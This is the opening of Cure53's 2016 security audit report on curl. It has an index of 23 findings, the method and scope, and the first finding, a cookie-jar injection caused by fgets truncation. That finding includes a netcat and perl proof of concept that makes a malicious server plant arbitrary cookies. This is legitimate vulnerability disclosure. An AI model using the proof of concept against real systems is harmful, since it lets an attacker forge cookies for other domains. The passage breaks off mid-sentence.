Penetration Test Report (Cure53): pentest report curl

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de
Pentest-Report cURL 08.2016
Cure53, Dr.-Ing. M. Heiderich, M. Wege, BSc. D. Weißer, J. Horn, MSc. N. Krein
Index
Introduction
Scope
Identified Vulnerabilities
CRL -01-001 Malicious server can injec t cookies for other servers ( Medium )
CRL -01-002 ConnectionExists () compares passwords with strequa l () ( Medium )
CRL -01-005 OOB write via unchecked multiplication in base 64_ encode () ( High )
CRL -01-007 Double - free in aprint f () via unsafe size _ t multiplication ( Medium )
CRL -01-009 Double - free in krb 5 read _ data () due to missing realloc () check ( High )
CRL -01-011 FTPS TLS session reuse ( Low )
CRL -01-013 Heap overflow via integer truncation ( Medium )
CRL -01-014 Negative array index via integer overflow in unescape _ word () ( High )
CRL -01-021 UAF via insufficien t locking for shared cookies ( High )
Miscellaneous Issues
CRL -01-003 Ambiguity in cur l _ easy _ escape () argumen t ( Low )
CRL -01-004 Metalink provides an oracle ( Info )
CRL -01-006 Potentially unsafe size _ t multiplications ( Medium )
CRL -01-008 % n is supported in forma t strings ( Low )
CRL -01-010 Slashes and .. are decoded in file URIs ( Low )
CRL -01-012 Only the md 5 o f the SSH hos t key fingerprin t is checked
CRL -01-015 Defaul t Compile - time options lack suppor t for PIE and RELRO ( Low )
CRL -01-016 Unchecked snprint f () calls ( Low )
CRL -01-017 Permi t disabling ( insecure ) fallbacks ( Low )
CRL -01-018 Nul l pointer dereference in the RTSP protoco l ( Low )
CRL -01-019 nss _ ini t _ sslver uses version info from NSS header ( Info )
CRL -01-020 dup _ nickname () doesn ' t check for memory allocation failure ( Low )
CRL -01-022 polarss l _ connec t _ step 1() lacks matching unlock ( Info )
CRL -01-023 ss l _ thread _ setup () leaves mutex buffer partially uninitialised ( Info )
Conclusion
Cure53, Berlin · 09/23/16 1/35
Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de
Introduction
“curl is an open source command line tool and library for transferring data with URL
syntax, supporting DICT, FILE, FTP, FTPS, Gopher, HTTP, HTTPS, IMAP, IMAPS,
LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMTP, SMTPS, Telnet
and TFTP. curl supports SSL certificates, HTTP POST, HTTP PUT, FTP uploading,
HTTP form based upload, proxies, HTTP/2, cookies, user+password authentication
(Basic, Plain, Digest, CRAM-MD5, NTLM, Negotiate and Kerberos), file transfer resume,
proxy tunneling and more.”
From https :/ / cur l . haxx . se /
This report documents findings of a source code audit dedicated to assessing the cURL
software. The assessment of the tool was performed by Cure53 as part of the Mozilla’s
Secure Open Source track program. The results of the project encompass twenty-three
security-relevant discoveries.
As for the approach, the test was rooted in the public availability of the source code
belonging to the cURL software and the investigation involved five testers of the Cure53
team. The tool was tested over the course of twenty days in August and September of
2016 and main efforts were focused on examining cURL 7.50.1. and later versions of
cURL. It has to be noted that rather than employ fuzzing or similar approaches to
validate the robustness of the build of the application and library, the latter goal was
pursued through a classic source code audit. Sources covering authentication, various
protocols, and, partly, SSL/TLS, were analyzed in considerable detail. A rationale behind
this type of scoping pointed to these parts of the cURL tool that were most likely to be
prone and exposed to real-life attack scenarios. Rounding up the methodology of the
classic code audit, Cure53 benefited from certain tools, which included ASAN targeted
with detecting memory errors, as well as Helgrind, which was tasked with pinpointing
synchronization errors with the threading model.
As already signaled, the assessment led to twenty-three issues being identified. The
problems could be categorized into a slightly smaller class of nine actual security
vulnerabilities, and a further fourteen general weaknesses. What is paramount is that
none of the spotted issues received a “Critical” ranking with regard to their severity and
scope. However, four of the key nine findings were flagged with a “High” denominator
since they might have ultimately led to Remote Code Execution (RCE) on the affected
system. At the same time, the overall impression of the state of security and robustness
of the cURL library was positive.
Cure53, Berlin · 09/23/16 2/35
Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de
Scope
• cURL Sources
◦ https :/ / cur l . haxx . se / download .html
Identified Vulnerabilities
The following sections list both vulnerabilities and implementation issues spotted during
the testing period. Note that findings are listed in a chronological order rather than by
their degree of severity and impact. The aforementioned severity rank is simply given in
brackets following the title heading for each vulnerability. Each vulnerability is
additionally given a unique identifier (e.g. CRL-01-001) for the purpose of facilitating any
future follow-up correspondence.
CRL-01-001 Malicious server can inject cookies for other servers (Medium)
If cookie state is written into a cookie jar file that is later read back and used for
subsequent requests, a malicious HTTP server can inject new cookies for arbitrary
domains into said cookie jar. The issue pertains to the function Curl_cookie_init(), which
reads the specified file into a fixed-size buffer in a line-by-line manner and with the use
of the fgets() function:
// AUDIT NOTE: MAX_COOKIE_LINE == 5000
line = malloc(MAX_COOKIE_LINE);
if(!line)
goto fail;
while(fgets(line, MAX_COOKIE_LINE, fp)) {
if(checkprefix("Set-Cookie:", line)) {
/* This is a cookie line, get it! */
lineptr=&line[11];
headerline=TRUE;
}
else {
lineptr=line;
headerline=FALSE;
}
while(*lineptr && ISBLANK(*lineptr))
lineptr++;
Curl_cookie_add(data, c, headerline, lineptr, NULL, NULL);
}
free(line); /* free the line buffer */
The issue here is that if an invocation of fgets() cannot read the whole line into the
destination buffer due to it being too small (i.e. over 4999 bytes), it truncates the output.
Cure53, Berlin · 09/23/16 3/35
Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de
As a result, the next invocation of fgets() continues to read from the position where the
last line was truncated. Therefore, if a cookie file contains a line with an overly long
value, part of the value will be interpreted as a new cookie, effectively allowing a
malicious HTTP server to inject arbitrary cookies.
This code can be triggered by, for example, using a path that is around 1000-bytes-long
together with a long cookie value. The precise calculation is presented below.
Assuming host="localhost", path="/{1000*'A'}/" and cookie_name="A":
chunk_size = 4999
len(host) = 9
len(path) = 1002
len(cookie_name) = 1
len(entry_without_value) = len(host) + len("\tFALSE\t") + len(path) +
len("\tFALSE\t0\t") + len(cookie_name) + len("\t") = 1029
len(cookie_value_garbage) = chunk_size - len(entry_without_value) = 3970
In order to observe how this works, begin with starting up a fake HTTP server, which
must belong to the attacker-domain and is here marked as localhost:
(
echo -ne 'HTTP/1.1 200 OK\r\nSet-Cookie: A='
perl -e 'print "A"x3970'
echo -ne '127.0.0.1\tFALSE\t/\tFALSE\t0\tfakecookie\tfakecookievalue\r\n\r\n'
) | nc -l -v -p 8080
In the next step connect with cURL, storing cookies into a cookie jar:
curl-7.50.1_build/src/curl -c poisoned_jar \
"http://localhost:8080/$(perl -e 'print "B"x1000')/"
Now launch a new TCP server belonging to the victim-domain, which can be seen as
127.0.0.1 here. This need to occur with the use of netcat:
nc -l -v -p 8080
Having comple